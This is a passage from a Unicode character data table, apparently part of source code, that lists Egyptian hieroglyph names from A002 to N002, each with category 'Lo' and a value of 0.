("EGYPTIAN HIEROGLYPH A002", "Lo", 0),
("EGYPTIAN HIEROGLYPH A003", "Lo", 0),
("EGYPTIAN HIEROGLYPH A004", "Lo", 0),
("EGYPTIAN HIEROGLYPH A005", "Lo", 0),
("EGYPTIAN HIEROGLYPH A005A", "Lo", 0),
("EGYPTIAN HIEROGLYPH A006", "Lo", 0),
("EGYPTIAN HIEROGLYPH A006A", "Lo", 0),
("EGYPTIAN HIEROGLYPH A006B", "Lo", 0),
("EGYPTIAN HIEROGLYPH A007", "Lo", 0),
("EGYPTIAN HIEROGLYPH A008", "Lo", 0),
("EGYPTIAN HIEROGLYPH A009", "Lo", 0),
("EGYPTIAN HIEROGLYPH A010", "Lo", 0),
("EGYPTIAN HIEROGLYPH A011", "Lo", 0),
("EGYPTIAN HIEROGLYPH A012", "Lo", 0),
("EGYPTIAN HIEROGLYPH A013", "Lo", 0),
("EGYPTIAN HIEROGLYPH A014", "Lo", 0),
("EGYPTIAN HIEROGLYPH A014A", "Lo", 0),
("EGYPTIAN HIEROGLYPH A015", "Lo", 0),
("EGYPTIAN HIEROGLYPH A016", "Lo", 0),
("EGYPTIAN HIEROGLYPH A017", "Lo", 0),
("EGYPTIAN HIEROGLYPH A017A", "Lo", 0),
("EGYPTIAN HIEROGLYPH A018", "Lo", 0),
("EGYPTIAN HIEROGLYPH A019", "Lo", 0),
("EGYPTIAN HIEROGLYPH A020", "Lo", 0),
("EGYPTIAN HIEROGLYPH A021", "Lo", 0),
("EGYPTIAN HIEROGLYPH A022", "Lo", 0),
("EGYPTIAN HIEROGLYPH A023", "Lo", 0),
("EGYPTIAN HIEROGLYPH A024", "Lo", 0),
("EGYPTIAN HIEROGLYPH A025", "Lo", 0),
("EGYPTIAN HIEROGLYPH A026", "Lo", 0),
("EGYPTIAN HIEROGLYPH A027", "Lo", 0),
("EGYPTIAN HIEROGLYPH A028", "Lo", 0),
("EGYPTIAN HIEROGLYPH A029", "Lo", 0),
("EGYPTIAN HIEROGLYPH A030", "Lo", 0),
("EGYPTIAN HIEROGLYPH A031", "Lo", 0),
("EGYPTIAN HIEROGLYPH A032", "Lo", 0),
("EGYPTIAN HIEROGLYPH A032A", "Lo", 0),
("EGYPTIAN HIEROGLYPH A033", "Lo", 0),
("EGYPTIAN HIEROGLYPH A034", "Lo", 0),
("EGYPTIAN HIEROGLYPH A035", "Lo", 0),
("EGYPTIAN HIEROGLYPH A036", "Lo", 0),
("EGYPTIAN HIEROGLYPH A037", "Lo", 0),
("EGYPTIAN HIEROGLYPH A038", "Lo", 0),
("EGYPTIAN HIEROGLYPH A039", "Lo", 0),
("EGYPTIAN HIEROGLYPH A040", "Lo", 0),
("EGYPTIAN HIEROGLYPH A040A", "Lo", 0),
("EGYPTIAN HIEROGLYPH A041", "Lo", 0),
("EGYPTIAN HIEROGLYPH A042", "Lo", 0),
("EGYPTIAN HIEROGLYPH A042A", "Lo", 0),
("EGYPTIAN HIEROGLYPH A043", "Lo", 0),
("EGYPTIAN HIEROGLYPH A043A", "Lo", 0),
("EGYPTIAN HIEROGLYPH A044", "Lo", 0),
("EGYPTIAN HIEROGLYPH A045", "Lo", 0),
("EGYPTIAN HIEROGLYPH A045A", "Lo", 0),
("EGYPTIAN HIEROGLYPH A046", "Lo", 0),
("EGYPTIAN HIEROGLYPH A047", "Lo", 0),
("EGYPTIAN HIEROGLYPH A048", "Lo", 0),
("EGYPTIAN HIEROGLYPH A049", "Lo", 0),
("EGYPTIAN HIEROGLYPH A050", "Lo", 0),
("EGYPTIAN HIEROGLYPH A051", "Lo", 0),
("EGYPTIAN HIEROGLYPH A052", "Lo", 0),
("EGYPTIAN HIEROGLYPH A053", "Lo", 0),
("EGYPTIAN HIEROGLYPH A054", "Lo", 0),
("EGYPTIAN HIEROGLYPH A055", "Lo", 0),
("EGYPTIAN HIEROGLYPH A056", "Lo", 0),
("EGYPTIAN HIEROGLYPH A057", "Lo", 0),
("EGYPTIAN HIEROGLYPH A058", "Lo", 0),
("EGYPTIAN HIEROGLYPH A059", "Lo", 0),
("EGYPTIAN HIEROGLYPH A060", "Lo", 0),
("EGYPTIAN HIEROGLYPH A061", "Lo", 0),
("EGYPTIAN HIEROGLYPH A062", "Lo", 0),
("EGYPTIAN HIEROGLYPH A063", "Lo", 0),
("EGYPTIAN HIEROGLYPH A064", "Lo", 0),
("EGYPTIAN HIEROGLYPH A065", "Lo", 0),
("EGYPTIAN HIEROGLYPH A066", "Lo", 0),
("EGYPTIAN HIEROGLYPH A067", "Lo", 0),
("EGYPTIAN HIEROGLYPH A068", "Lo", 0),
("EGYPTIAN HIEROGLYPH A069", "Lo", 0),
("EGYPTIAN HIEROGLYPH A070", "Lo", 0),
("EGYPTIAN HIEROGLYPH B001", "Lo", 0),
("EGYPTIAN HIEROGLYPH B002", "Lo", 0),
("EGYPTIAN HIEROGLYPH B003", "Lo", 0),
("EGYPTIAN HIEROGLYPH B004", "Lo", 0),
("EGYPTIAN HIEROGLYPH B005", "Lo", 0),
("EGYPTIAN HIEROGLYPH B005A", "Lo", 0),
("EGYPTIAN HIEROGLYPH B006", "Lo", 0),
("EGYPTIAN HIEROGLYPH B007", "Lo", 0),
("EGYPTIAN HIEROGLYPH B008", "Lo", 0),
("EGYPTIAN HIEROGLYPH B009", "Lo", 0),
("EGYPTIAN HIEROGLYPH C001", "Lo", 0),
("EGYPTIAN HIEROGLYPH C002", "Lo", 0),
("EGYPTIAN HIEROGLYPH C002A", "Lo", 0),
("EGYPTIAN HIEROGLYPH C002B", "Lo", 0),
("EGYPTIAN HIEROGLYPH C002C", "Lo", 0),
("EGYPTIAN HIEROGLYPH C003", "Lo", 0),
("EGYPTIAN HIEROGLYPH C004", "Lo", 0),
("EGYPTIAN HIEROGLYPH C005", "Lo", 0),
("EGYPTIAN HIEROGLYPH C006", "Lo", 0),
("EGYPTIAN HIEROGLYPH C007", "Lo", 0),
("EGYPTIAN HIEROGLYPH C008", "Lo", 0),
("EGYPTIAN HIEROGLYPH C009", "Lo", 0),
("EGYPTIAN HIEROGLYPH C010", "Lo", 0),
("EGYPTIAN HIEROGLYPH C010A", "Lo", 0),
("EGYPTIAN HIEROGLYPH C011", "Lo", 0),
("EGYPTIAN HIEROGLYPH C012", "Lo", 0),
("EGYPTIAN HIEROGLYPH C013", "Lo", 0),
("EGYPTIAN HIEROGLYPH C014", "Lo", 0),
("EGYPTIAN HIEROGLYPH C015", "Lo", 0),
("EGYPTIAN HIEROGLYPH C016", "Lo", 0),
("EGYPTIAN HIEROGLYPH C017", "Lo", 0),
("EGYPTIAN HIEROGLYPH C018", "Lo", 0),
("EGYPTIAN HIEROGLYPH C019", "Lo", 0),
("EGYPTIAN HIEROGLYPH C020", "Lo", 0),
("EGYPTIAN HIEROGLYPH C021", "Lo", 0),
("EGYPTIAN HIEROGLYPH C022", "Lo", 0),
("EGYPTIAN HIEROGLYPH C023", "Lo", 0),
("EGYPTIAN HIEROGLYPH C024", "Lo", 0),
("EGYPTIAN HIEROGLYPH D001", "Lo", 0),
("EGYPTIAN HIEROGLYPH D002", "Lo", 0),
("EGYPTIAN HIEROGLYPH D003", "Lo", 0),
("EGYPTIAN HIEROGLYPH D004", "Lo", 0),
("EGYPTIAN HIEROGLYPH D005", "Lo", 0),
("EGYPTIAN HIEROGLYPH D006", "Lo", 0),
("EGYPTIAN HIEROGLYPH D007", "Lo", 0),
("EGYPTIAN HIEROGLYPH D008", "Lo", 0),
("EGYPTIAN HIEROGLYPH D008A", "Lo", 0),
("EGYPTIAN HIEROGLYPH D009", "Lo", 0),
("EGYPTIAN HIEROGLYPH D010", "Lo", 0),
("EGYPTIAN HIEROGLYPH D011", "Lo", 0),
("EGYPTIAN HIEROGLYPH D012", "Lo", 0),
("EGYPTIAN HIEROGLYPH D013", "Lo", 0),
("EGYPTIAN HIEROGLYPH D014", "Lo", 0),
("EGYPTIAN HIEROGLYPH D015", "Lo", 0),
("EGYPTIAN HIEROGLYPH D016", "Lo", 0),
("EGYPTIAN HIEROGLYPH D017", "Lo", 0),
("EGYPTIAN HIEROGLYPH D018", "Lo", 0),
("EGYPTIAN HIEROGLYPH D019", "Lo", 0),
("EGYPTIAN HIEROGLYPH D020", "Lo", 0),
("EGYPTIAN HIEROGLYPH D021", "Lo", 0),
("EGYPTIAN HIEROGLYPH D022", "Lo", 0),
("EGYPTIAN HIEROGLYPH D023", "Lo", 0),
("EGYPTIAN HIEROGLYPH D024", "Lo", 0),
("EGYPTIAN HIEROGLYPH D025", "Lo", 0),
("EGYPTIAN HIEROGLYPH D026", "Lo", 0),
("EGYPTIAN HIEROGLYPH D027", "Lo", 0),
("EGYPTIAN HIEROGLYPH D027A", "Lo", 0),
("EGYPTIAN HIEROGLYPH D028", "Lo", 0),
("EGYPTIAN HIEROGLYPH D029", "Lo", 0),
("EGYPTIAN HIEROGLYPH D030", "Lo", 0),
("EGYPTIAN HIEROGLYPH D031", "Lo", 0),
("EGYPTIAN HIEROGLYPH D031A", "Lo", 0),
("EGYPTIAN HIEROGLYPH D032", "Lo", 0),
("EGYPTIAN HIEROGLYPH D033", "Lo", 0),
("EGYPTIAN HIEROGLYPH D034", "Lo", 0),
("EGYPTIAN HIEROGLYPH D034A", "Lo", 0),
("EGYPTIAN HIEROGLYPH D035", "Lo", 0),
("EGYPTIAN HIEROGLYPH D036", "Lo", 0),
("EGYPTIAN HIEROGLYPH D037", "Lo", 0),
("EGYPTIAN HIEROGLYPH D038", "Lo", 0),
("EGYPTIAN HIEROGLYPH D039", "Lo", 0),
("EGYPTIAN HIEROGLYPH D040", "Lo", 0),
("EGYPTIAN HIEROGLYPH D041", "Lo", 0),
("EGYPTIAN HIEROGLYPH D042", "Lo", 0),
("EGYPTIAN HIEROGLYPH D043", "Lo", 0),
("EGYPTIAN HIEROGLYPH D044", "Lo", 0),
("EGYPTIAN HIEROGLYPH D045", "Lo", 0),
("EGYPTIAN HIEROGLYPH D046", "Lo", 0),
("EGYPTIAN HIEROGLYPH D046A", "Lo", 0),
("EGYPTIAN HIEROGLYPH D047", "Lo", 0),
("EGYPTIAN HIEROGLYPH D048", "Lo", 0),
("EGYPTIAN HIEROGLYPH D048A", "Lo", 0),
("EGYPTIAN HIEROGLYPH D049", "Lo", 0),
("EGYPTIAN HIEROGLYPH D050", "Lo", 0),
("EGYPTIAN HIEROGLYPH D050A", "Lo", 0),
("EGYPTIAN HIEROGLYPH D050B", "Lo", 0),
("EGYPTIAN HIEROGLYPH D050C", "Lo", 0),
("EGYPTIAN HIEROGLYPH D050D", "Lo", 0),
("EGYPTIAN HIEROGLYPH D050E", "Lo", 0),
("EGYPTIAN HIEROGLYPH D050F", "Lo", 0),
("EGYPTIAN HIEROGLYPH D050G", "Lo", 0),
("EGYPTIAN HIEROGLYPH D050H", "Lo", 0),
("EGYPTIAN HIEROGLYPH D050I", "Lo", 0),
("EGYPTIAN HIEROGLYPH D051", "Lo", 0),
("EGYPTIAN HIEROGLYPH D052", "Lo", 0),
("EGYPTIAN HIEROGLYPH D052A", "Lo", 0),
("EGYPTIAN HIEROGLYPH D053", "Lo", 0),
("EGYPTIAN HIEROGLYPH D054", "Lo", 0),
("EGYPTIAN HIEROGLYPH D054A", "Lo", 0),
("EGYPTIAN HIEROGLYPH D055", "Lo", 0),
("EGYPTIAN HIEROGLYPH D056", "Lo", 0),
("EGYPTIAN HIEROGLYPH D057", "Lo", 0),
("EGYPTIAN HIEROGLYPH D058", "Lo", 0),
("EGYPTIAN HIEROGLYPH D059", "Lo", 0),
("EGYPTIAN HIEROGLYPH D060", "Lo", 0),
("EGYPTIAN HIEROGLYPH D061", "Lo", 0),
("EGYPTIAN HIEROGLYPH D062", "Lo", 0),
("EGYPTIAN HIEROGLYPH D063", "Lo", 0),
("EGYPTIAN HIEROGLYPH D064", "Lo", 0),
("EGYPTIAN HIEROGLYPH D065", "Lo", 0),
("EGYPTIAN HIEROGLYPH D066", "Lo", 0),
("EGYPTIAN HIEROGLYPH D067", "Lo", 0),
("EGYPTIAN HIEROGLYPH D067A", "Lo", 0),
("EGYPTIAN HIEROGLYPH D067B", "Lo", 0),
("EGYPTIAN HIEROGLYPH D067C", "Lo", 0),
("EGYPTIAN HIEROGLYPH D067D", "Lo", 0),
("EGYPTIAN HIEROGLYPH D067E", "Lo", 0),
("EGYPTIAN HIEROGLYPH D067F", "Lo", 0),
("EGYPTIAN HIEROGLYPH D067G", "Lo", 0),
("EGYPTIAN HIEROGLYPH D067H", "Lo", 0),
("EGYPTIAN HIEROGLYPH E001", "Lo", 0),
("EGYPTIAN HIEROGLYPH E002", "Lo", 0),
("EGYPTIAN HIEROGLYPH E003", "Lo", 0),
("EGYPTIAN HIEROGLYPH E004", "Lo", 0),
("EGYPTIAN HIEROGLYPH E005", "Lo", 0),
("EGYPTIAN HIEROGLYPH E006", "Lo", 0),
("EGYPTIAN HIEROGLYPH E007", "Lo", 0),
("EGYPTIAN HIEROGLYPH E008", "Lo", 0),
("EGYPTIAN HIEROGLYPH E008A", "Lo", 0),
("EGYPTIAN HIEROGLYPH E009", "Lo", 0),
("EGYPTIAN HIEROGLYPH E009A", "Lo", 0),
("EGYPTIAN HIEROGLYPH E010", "Lo", 0),
("EGYPTIAN HIEROGLYPH E011", "Lo", 0),
("EGYPTIAN HIEROGLYPH E012", "Lo", 0),
("EGYPTIAN HIEROGLYPH E013", "Lo", 0),
("EGYPTIAN HIEROGLYPH E014", "Lo", 0),
("EGYPTIAN HIEROGLYPH E015", "Lo", 0),
("EGYPTIAN HIEROGLYPH E016", "Lo", 0),
("EGYPTIAN HIEROGLYPH E016A", "Lo", 0),
("EGYPTIAN HIEROGLYPH E017", "Lo", 0),
("EGYPTIAN HIEROGLYPH E017A", "Lo", 0),
("EGYPTIAN HIEROGLYPH E018", "Lo", 0),
("EGYPTIAN HIEROGLYPH E019", "Lo", 0),
("EGYPTIAN HIEROGLYPH E020", "Lo", 0),
("EGYPTIAN HIEROGLYPH E020A", "Lo", 0),
("EGYPTIAN HIEROGLYPH E021", "Lo", 0),
("EGYPTIAN HIEROGLYPH E022", "Lo", 0),
("EGYPTIAN HIEROGLYPH E023", "Lo", 0),
("EGYPTIAN HIEROGLYPH E024", "Lo", 0),
("EGYPTIAN HIEROGLYPH E025", "Lo", 0),
("EGYPTIAN HIEROGLYPH E026", "Lo", 0),
("EGYPTIAN HIEROGLYPH E027", "Lo", 0),
("EGYPTIAN HIEROGLYPH E028", "Lo", 0),
("EGYPTIAN HIEROGLYPH E028A", "Lo", 0),
("EGYPTIAN HIEROGLYPH E029", "Lo", 0),
("EGYPTIAN HIEROGLYPH E030", "Lo", 0),
("EGYPTIAN HIEROGLYPH E031", "Lo", 0),
("EGYPTIAN HIEROGLYPH E032", "Lo", 0),
("EGYPTIAN HIEROGLYPH E033", "Lo", 0),
("EGYPTIAN HIEROGLYPH E034", "Lo", 0),
("EGYPTIAN HIEROGLYPH E034A", "Lo", 0),
("EGYPTIAN HIEROGLYPH E036", "Lo", 0),
("EGYPTIAN HIEROGLYPH E037", "Lo", 0),
("EGYPTIAN HIEROGLYPH E038", "Lo", 0),
("EGYPTIAN HIEROGLYPH F001", "Lo", 0),
("EGYPTIAN HIEROGLYPH F001A", "Lo", 0),
("EGYPTIAN HIEROGLYPH F002", "Lo", 0),
("EGYPTIAN HIEROGLYPH F003", "Lo", 0),
("EGYPTIAN HIEROGLYPH F004", "Lo", 0),
("EGYPTIAN HIEROGLYPH F005", "Lo", 0),
("EGYPTIAN HIEROGLYPH F006", "Lo", 0),
("EGYPTIAN HIEROGLYPH F007", "Lo", 0),
("EGYPTIAN HIEROGLYPH F008", "Lo", 0),
("EGYPTIAN HIEROGLYPH F009", "Lo", 0),
("EGYPTIAN HIEROGLYPH F010", "Lo", 0),
("EGYPTIAN HIEROGLYPH F011", "Lo", 0),
("EGYPTIAN HIEROGLYPH F012", "Lo", 0),
("EGYPTIAN HIEROGLYPH F013", "Lo", 0),
("EGYPTIAN HIEROGLYPH F013A", "Lo", 0),
("EGYPTIAN HIEROGLYPH F014", "Lo", 0),
("EGYPTIAN HIEROGLYPH F015", "Lo", 0),
("EGYPTIAN HIEROGLYPH F016", "Lo", 0),
("EGYPTIAN HIEROGLYPH F017", "Lo", 0),
("EGYPTIAN HIEROGLYPH F018", "Lo", 0),
("EGYPTIAN HIEROGLYPH F019", "Lo", 0),
("EGYPTIAN HIEROGLYPH F020", "Lo", 0),
("EGYPTIAN HIEROGLYPH F021", "Lo", 0),
("EGYPTIAN HIEROGLYPH F021A", "Lo", 0),
("EGYPTIAN HIEROGLYPH F022", "Lo", 0),
("EGYPTIAN HIEROGLYPH F023", "Lo", 0),
("EGYPTIAN HIEROGLYPH F024", "Lo", 0),
("EGYPTIAN HIEROGLYPH F025", "Lo", 0),
("EGYPTIAN HIEROGLYPH F026", "Lo", 0),
("EGYPTIAN HIEROGLYPH F027", "Lo", 0),
("EGYPTIAN HIEROGLYPH F028", "Lo", 0),
("EGYPTIAN HIEROGLYPH F029", "Lo", 0),
("EGYPTIAN HIEROGLYPH F030", "Lo", 0),
("EGYPTIAN HIEROGLYPH F031", "Lo", 0),
("EGYPTIAN HIEROGLYPH F031A", "Lo", 0),
("EGYPTIAN HIEROGLYPH F032", "Lo", 0),
("EGYPTIAN HIEROGLYPH F033", "Lo", 0),
("EGYPTIAN HIEROGLYPH F034", "Lo", 0),
("EGYPTIAN HIEROGLYPH F035", "Lo", 0),
("EGYPTIAN HIEROGLYPH F036", "Lo", 0),
("EGYPTIAN HIEROGLYPH F037", "Lo", 0),
("EGYPTIAN HIEROGLYPH F037A", "Lo", 0),
("EGYPTIAN HIEROGLYPH F038", "Lo", 0),
("EGYPTIAN HIEROGLYPH F038A", "Lo", 0),
("EGYPTIAN HIEROGLYPH F039", "Lo", 0),
("EGYPTIAN HIEROGLYPH F040", "Lo", 0),
("EGYPTIAN HIEROGLYPH F041", "Lo", 0),
("EGYPTIAN HIEROGLYPH F042", "Lo", 0),
("EGYPTIAN HIEROGLYPH F043", "Lo", 0),
("EGYPTIAN HIEROGLYPH F044", "Lo", 0),
("EGYPTIAN HIEROGLYPH F045", "Lo", 0),
("EGYPTIAN HIEROGLYPH F045A", "Lo", 0),
("EGYPTIAN HIEROGLYPH F046", "Lo", 0),
("EGYPTIAN HIEROGLYPH F046A", "Lo", 0),
("EGYPTIAN HIEROGLYPH F047", "Lo", 0),
("EGYPTIAN HIEROGLYPH F047A", "Lo", 0),
("EGYPTIAN HIEROGLYPH F048", "Lo", 0),
("EGYPTIAN HIEROGLYPH F049", "Lo", 0),
("EGYPTIAN HIEROGLYPH F050", "Lo", 0),
("EGYPTIAN HIEROGLYPH F051", "Lo", 0),
("EGYPTIAN HIEROGLYPH F051A", "Lo", 0),
("EGYPTIAN HIEROGLYPH F051B", "Lo", 0),
("EGYPTIAN HIEROGLYPH F051C", "Lo", 0),
("EGYPTIAN HIEROGLYPH F052", "Lo", 0),
("EGYPTIAN HIEROGLYPH F053", "Lo", 0),
("EGYPTIAN HIEROGLYPH G001", "Lo", 0),
("EGYPTIAN HIEROGLYPH G002", "Lo", 0),
("EGYPTIAN HIEROGLYPH G003", "Lo", 0),
("EGYPTIAN HIEROGLYPH G004", "Lo", 0),
("EGYPTIAN HIEROGLYPH G005", "Lo", 0),
("EGYPTIAN HIEROGLYPH G006", "Lo", 0),
("EGYPTIAN HIEROGLYPH G006A", "Lo", 0),
("EGYPTIAN HIEROGLYPH G007", "Lo", 0),
("EGYPTIAN HIEROGLYPH G007A", "Lo", 0),
("EGYPTIAN HIEROGLYPH G007B", "Lo", 0),
("EGYPTIAN HIEROGLYPH G008", "Lo", 0),
("EGYPTIAN HIEROGLYPH G009", "Lo", 0),
("EGYPTIAN HIEROGLYPH G010", "Lo", 0),
("EGYPTIAN HIEROGLYPH G011", "Lo", 0),
("EGYPTIAN HIEROGLYPH G011A", "Lo", 0),
("EGYPTIAN HIEROGLYPH G012", "Lo", 0),
("EGYPTIAN HIEROGLYPH G013", "Lo", 0),
("EGYPTIAN HIEROGLYPH G014", "Lo", 0),
("EGYPTIAN HIEROGLYPH G015", "Lo", 0),
("EGYPTIAN HIEROGLYPH G016", "Lo", 0),
("EGYPTIAN HIEROGLYPH G017", "Lo", 0),
("EGYPTIAN HIEROGLYPH G018", "Lo", 0),
("EGYPTIAN HIEROGLYPH G019", "Lo", 0),
("EGYPTIAN HIEROGLYPH G020", "Lo", 0),
("EGYPTIAN HIEROGLYPH G020A", "Lo", 0),
("EGYPTIAN HIEROGLYPH G021", "Lo", 0),
("EGYPTIAN HIEROGLYPH G022", "Lo", 0),
("EGYPTIAN HIEROGLYPH G023", "Lo", 0),
("EGYPTIAN HIEROGLYPH G024", "Lo", 0),
("EGYPTIAN HIEROGLYPH G025", "Lo", 0),
("EGYPTIAN HIEROGLYPH G026", "Lo", 0),
("EGYPTIAN HIEROGLYPH G026A", "Lo", 0),
("EGYPTIAN HIEROGLYPH G027", "Lo", 0),
("EGYPTIAN HIEROGLYPH G028", "Lo", 0),
("EGYPTIAN HIEROGLYPH G029", "Lo", 0),
("EGYPTIAN HIEROGLYPH G030", "Lo", 0),
("EGYPTIAN HIEROGLYPH G031", "Lo", 0),
("EGYPTIAN HIEROGLYPH G032", "Lo", 0),
("EGYPTIAN HIEROGLYPH G033", "Lo", 0),
("EGYPTIAN HIEROGLYPH G034", "Lo", 0),
("EGYPTIAN HIEROGLYPH G035", "Lo", 0),
("EGYPTIAN HIEROGLYPH G036", "Lo", 0),
("EGYPTIAN HIEROGLYPH G036A", "Lo", 0),
("EGYPTIAN HIEROGLYPH G037", "Lo", 0),
("EGYPTIAN HIEROGLYPH G037A", "Lo", 0),
("EGYPTIAN HIEROGLYPH G038", "Lo", 0),
("EGYPTIAN HIEROGLYPH G039", "Lo", 0),
("EGYPTIAN HIEROGLYPH G040", "Lo", 0),
("EGYPTIAN HIEROGLYPH G041", "Lo", 0),
("EGYPTIAN HIEROGLYPH G042", "Lo", 0),
("EGYPTIAN HIEROGLYPH G043", "Lo", 0),
("EGYPTIAN HIEROGLYPH G043A", "Lo", 0),
("EGYPTIAN HIEROGLYPH G044", "Lo", 0),
("EGYPTIAN HIEROGLYPH G045", "Lo", 0),
("EGYPTIAN HIEROGLYPH G045A", "Lo", 0),
("EGYPTIAN HIEROGLYPH G046", "Lo", 0),
("EGYPTIAN HIEROGLYPH G047", "Lo", 0),
("EGYPTIAN HIEROGLYPH G048", "Lo", 0),
("EGYPTIAN HIEROGLYPH G049", "Lo", 0),
("EGYPTIAN HIEROGLYPH G050", "Lo", 0),
("EGYPTIAN HIEROGLYPH G051", "Lo", 0),
("EGYPTIAN HIEROGLYPH G052", "Lo", 0),
("EGYPTIAN HIEROGLYPH G053", "Lo", 0),
("EGYPTIAN HIEROGLYPH G054", "Lo", 0),
("EGYPTIAN HIEROGLYPH H001", "Lo", 0),
("EGYPTIAN HIEROGLYPH H002", "Lo", 0),
("EGYPTIAN HIEROGLYPH H003", "Lo", 0),
("EGYPTIAN HIEROGLYPH H004", "Lo", 0),
("EGYPTIAN HIEROGLYPH H005", "Lo", 0),
("EGYPTIAN HIEROGLYPH H006", "Lo", 0),
("EGYPTIAN HIEROGLYPH H006A", "Lo", 0),
("EGYPTIAN HIEROGLYPH H007", "Lo", 0),
("EGYPTIAN HIEROGLYPH H008", "Lo", 0),
("EGYPTIAN HIEROGLYPH I001", "Lo", 0),
("EGYPTIAN HIEROGLYPH I002", "Lo", 0),
("EGYPTIAN HIEROGLYPH I003", "Lo", 0),
("EGYPTIAN HIEROGLYPH I004", "Lo", 0),
("EGYPTIAN HIEROGLYPH I005", "Lo", 0),
("EGYPTIAN HIEROGLYPH I005A", "Lo", 0),
("EGYPTIAN HIEROGLYPH I006", "Lo", 0),
("EGYPTIAN HIEROGLYPH I007", "Lo", 0),
("EGYPTIAN HIEROGLYPH I008", "Lo", 0),
("EGYPTIAN HIEROGLYPH I009", "Lo", 0),
("EGYPTIAN HIEROGLYPH I009A", "Lo", 0),
("EGYPTIAN HIEROGLYPH I010", "Lo", 0),
("EGYPTIAN HIEROGLYPH I010A", "Lo", 0),
("EGYPTIAN HIEROGLYPH I011", "Lo", 0),
("EGYPTIAN HIEROGLYPH I011A", "Lo", 0),
("EGYPTIAN HIEROGLYPH I012", "Lo", 0),
("EGYPTIAN HIEROGLYPH I013", "Lo", 0),
("EGYPTIAN HIEROGLYPH I014", "Lo", 0),
("EGYPTIAN HIEROGLYPH I015", "Lo", 0),
("EGYPTIAN HIEROGLYPH K001", "Lo", 0),
("EGYPTIAN HIEROGLYPH K002", "Lo", 0),
("EGYPTIAN HIEROGLYPH K003", "Lo", 0),
("EGYPTIAN HIEROGLYPH K004", "Lo", 0),
("EGYPTIAN HIEROGLYPH K005", "Lo", 0),
("EGYPTIAN HIEROGLYPH K006", "Lo", 0),
("EGYPTIAN HIEROGLYPH K007", "Lo", 0),
("EGYPTIAN HIEROGLYPH K008", "Lo", 0),
("EGYPTIAN HIEROGLYPH L001", "Lo", 0),
("EGYPTIAN HIEROGLYPH L002", "Lo", 0),
("EGYPTIAN HIEROGLYPH L002A", "Lo", 0),
("EGYPTIAN HIEROGLYPH L003", "Lo", 0),
("EGYPTIAN HIEROGLYPH L004", "Lo", 0),
("EGYPTIAN HIEROGLYPH L005", "Lo", 0),
("EGYPTIAN HIEROGLYPH L006", "Lo", 0),
("EGYPTIAN HIEROGLYPH L006A", "Lo", 0),
("EGYPTIAN HIEROGLYPH L007", "Lo", 0),
("EGYPTIAN HIEROGLYPH L008", "Lo", 0),
("EGYPTIAN HIEROGLYPH M001", "Lo", 0),
("EGYPTIAN HIEROGLYPH M001A", "Lo", 0),
("EGYPTIAN HIEROGLYPH M001B", "Lo", 0),
("EGYPTIAN HIEROGLYPH M002", "Lo", 0),
("EGYPTIAN HIEROGLYPH M003", "Lo", 0),
("EGYPTIAN HIEROGLYPH M003A", "Lo", 0),
("EGYPTIAN HIEROGLYPH M004", "Lo", 0),
("EGYPTIAN HIEROGLYPH M005", "Lo", 0),
("EGYPTIAN HIEROGLYPH M006", "Lo", 0),
("EGYPTIAN HIEROGLYPH M007", "Lo", 0),
("EGYPTIAN HIEROGLYPH M008", "Lo", 0),
("EGYPTIAN HIEROGLYPH M009", "Lo", 0),
("EGYPTIAN HIEROGLYPH M010", "Lo", 0),
("EGYPTIAN HIEROGLYPH M010A", "Lo", 0),
("EGYPTIAN HIEROGLYPH M011", "Lo", 0),
("EGYPTIAN HIEROGLYPH M012", "Lo", 0),
("EGYPTIAN HIEROGLYPH M012A", "Lo", 0),
("EGYPTIAN HIEROGLYPH M012B", "Lo", 0),
("EGYPTIAN HIEROGLYPH M012C", "Lo", 0),
("EGYPTIAN HIEROGLYPH M012D", "Lo", 0),
("EGYPTIAN HIEROGLYPH M012E", "Lo", 0),
("EGYPTIAN HIEROGLYPH M012F", "Lo", 0),
("EGYPTIAN HIEROGLYPH M012G", "Lo", 0),
("EGYPTIAN HIEROGLYPH M012H", "Lo", 0),
("EGYPTIAN HIEROGLYPH M013", "Lo", 0),
("EGYPTIAN HIEROGLYPH M014", "Lo", 0),
("EGYPTIAN HIEROGLYPH M015", "Lo", 0),
("EGYPTIAN HIEROGLYPH M015A", "Lo", 0),
("EGYPTIAN HIEROGLYPH M016", "Lo", 0),
("EGYPTIAN HIEROGLYPH M016A", "Lo", 0),
("EGYPTIAN HIEROGLYPH M017", "Lo", 0),
("EGYPTIAN HIEROGLYPH M017A", "Lo", 0),
("EGYPTIAN HIEROGLYPH M018", "Lo", 0),
("EGYPTIAN HIEROGLYPH M019", "Lo", 0),
("EGYPTIAN HIEROGLYPH M020", "Lo", 0),
("EGYPTIAN HIEROGLYPH M021", "Lo", 0),
("EGYPTIAN HIEROGLYPH M022", "Lo", 0),
("EGYPTIAN HIEROGLYPH M022A", "Lo", 0),
("EGYPTIAN HIEROGLYPH M023", "Lo", 0),
("EGYPTIAN HIEROGLYPH M024", "Lo", 0),
("EGYPTIAN HIEROGLYPH M024A", "Lo", 0),
("EGYPTIAN HIEROGLYPH M025", "Lo", 0),
("EGYPTIAN HIEROGLYPH M026", "Lo", 0),
("EGYPTIAN HIEROGLYPH M027", "Lo", 0),
("EGYPTIAN HIEROGLYPH M028", "Lo", 0),
("EGYPTIAN HIEROGLYPH M028A", "Lo", 0),
("EGYPTIAN HIEROGLYPH M029", "Lo", 0),
("EGYPTIAN HIEROGLYPH M030", "Lo", 0),
("EGYPTIAN HIEROGLYPH M031", "Lo", 0),
("EGYPTIAN HIEROGLYPH M031A", "Lo", 0),
("EGYPTIAN HIEROGLYPH M032", "Lo", 0),
("EGYPTIAN HIEROGLYPH M033", "Lo", 0),
("EGYPTIAN HIEROGLYPH M033A", "Lo", 0),
("EGYPTIAN HIEROGLYPH M033B", "Lo", 0),
("EGYPTIAN HIEROGLYPH M034", "Lo", 0),
("EGYPTIAN HIEROGLYPH M035", "Lo", 0),
("EGYPTIAN HIEROGLYPH M036", "Lo", 0),
("EGYPTIAN HIEROGLYPH M037", "Lo", 0),
("EGYPTIAN HIEROGLYPH M038", "Lo", 0),
("EGYPTIAN HIEROGLYPH M039", "Lo", 0),
("EGYPTIAN HIEROGLYPH M040", "Lo", 0),
("EGYPTIAN HIEROGLYPH M040A", "Lo", 0),
("EGYPTIAN HIEROGLYPH M041", "Lo", 0),
("EGYPTIAN HIEROGLYPH M042", "Lo", 0),
("EGYPTIAN HIEROGLYPH M043", "Lo", 0),
("EGYPTIAN HIEROGLYPH M044", "Lo", 0),
("EGYPTIAN HIEROGLYPH N001", "Lo", 0),
("EGYPTIAN HIEROGLYPH N002", "Lo", 0),
